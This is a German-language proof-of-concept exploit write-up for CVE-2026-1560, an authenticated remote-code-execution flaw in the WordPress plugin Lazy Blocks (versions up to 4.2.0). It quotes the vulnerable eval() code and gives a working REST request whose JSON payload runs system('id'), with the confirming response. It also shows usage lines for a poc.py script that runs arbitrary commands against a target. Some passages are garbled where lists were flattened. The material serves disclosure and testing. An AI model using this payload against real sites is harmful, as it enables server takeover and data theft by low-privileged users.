
Proof-of-concept-Exploit für CVE-2026-1560, eine authentifizierte Remote-Code-Execution-Schwachstelle im WordPress-Plugin Lazy Blocks, die es Benutzern mit niedrigen Berechtigungen ermöglicht, beliebigen PHP-Code über die REST-API auszuführen.
Forscher: ZeYrOXxx
Plugin: Custom Block Builder – Lazy Blocks
Betroffene Versionen: ≤ 4.2.0
Schweregrad: Hoch
CVSS: 8.8
Schwachstellentyp: Authentifizierte Remote-Codeausführung (RCE)
Angriffsvektor: REST-API
Erforderliche Berechtigung: edit_posts (Contributor+)
Eine schwerwiegende Sicherheitslücke wurde im Custom Block Builder – Lazy Blocks WordPress-Plugin identifiziert, die Versionen bis einschließlich 4.2.0 betrifft.
Die Schwachstelle ermöglicht es authentifizierten Benutzern mit niedrigen Berechtigungen (Contributor-Rolle), beliebigen PHP-Code auf dem Server über einen REST-API-Endpunkt auszuführen, der für die Blockvorschau-Funktion vorgesehen ist.
Dieses Problem bricht das WordPress-Berechtigungsmodell vollständig und kann zu einer führen.
POST /wp-json/lazy-blocks/v1/block-builder-preview/
Der Endpunkt ist für jeden authentifizierten Benutzer mit der edit_posts-Fähigkeit zugänglich.
Die REST-Route ist mit einem schwachen Berechtigungs-Callback registriert:
'permission_callback' => array( $this, 'block_builder_preview_permission' )
Dies schließt Contributors ein, denen niemals erlaubt sein sollte, PHP-Code auszuführen.
REST-Controller – classes/class-rest.php
$block = $request->get_param( 'block' );
$block_result = lazyblocks()->blocks()->render_callback(
$attributes,
null,
null,
$context,
$block_data
);
Block-Renderer – classes/class-blocks.php
public function php_eval( $code, $attributes, $context ) {
ob_start();
eval( '?>' . $code );
return ob_get_clean();
}
Die eval()-Funktion führt vom Angreifer kontrollierten PHP-Code ohne Bereinigung oder Validierung aus.
Lazy Blocks erlaubt benutzerdefinierte PHP-Rendering-Logik für Blöcke.
Der REST-API-Vorschau-Endpunkt akzeptiert benutzergelieferte Blockdefinitionen und unterscheidet nicht zwischen vertrauenswürdigen gespeicherten Blöcken und vom Angreifer kontrollierten Vorschau-Blöcken.
Durch das Injizieren abgeflachter Blockattribute wie:
code_output_methodcode_editor_htmlkann ein Angreifer die php_eval()-Ausführungssenke erreichen und beliebigen PHP-Code ausführen.
Anfrage:
POST /wp-json/lazy-blocks/v1/block-builder-preview/ HTTP/1.1
Host: example.com
Content-Type: application/json
Authorization: Basic [Contributor_Credentials]
{
"context": "editor",
"block": {
"slug": "exploit-block",
"code_output_method": "php",
"code_editor_html": "<?php echo 'VULNERABLE: ' . system('id'); ?>"
}
}
Antwort:
HTTP/1.1 200 OK
Content-Type: application/json
{
"success": true,
"response": "<div useBlockProps>VULNERABLE: uid=33(www-data)...</div>"
}
✔ Beliebige Befehlsausführung bestätigt
Dieses PoC wird ausschließlich für Sicherheitstests und Forschungszwecke bereitgestellt.
Ein Angreifer mit Contributor-Zugriff kann:
wp-config.php)eval() auf benutzergesteuerte Eingaben entfernenmanage_options- oder unfiltered_html-Fähigkeit verlangenrequests-Bibliothekedit_posts-Fähigkeit (Contributor+)pip install requests
python3 poc.py <target_url> <username> <password> "<command>"
python3 poc.py https://victim.site contributor password "id"
Wenn das Ziel verwundbar ist, wird die Befehlsausgabe in der HTTP-Antwort zurückgegeben.
⚠️ Dieses Proof-of-Concept ist ausschließlich für autorisierte Sicherheitstests und Forschungszwecke bestimmt.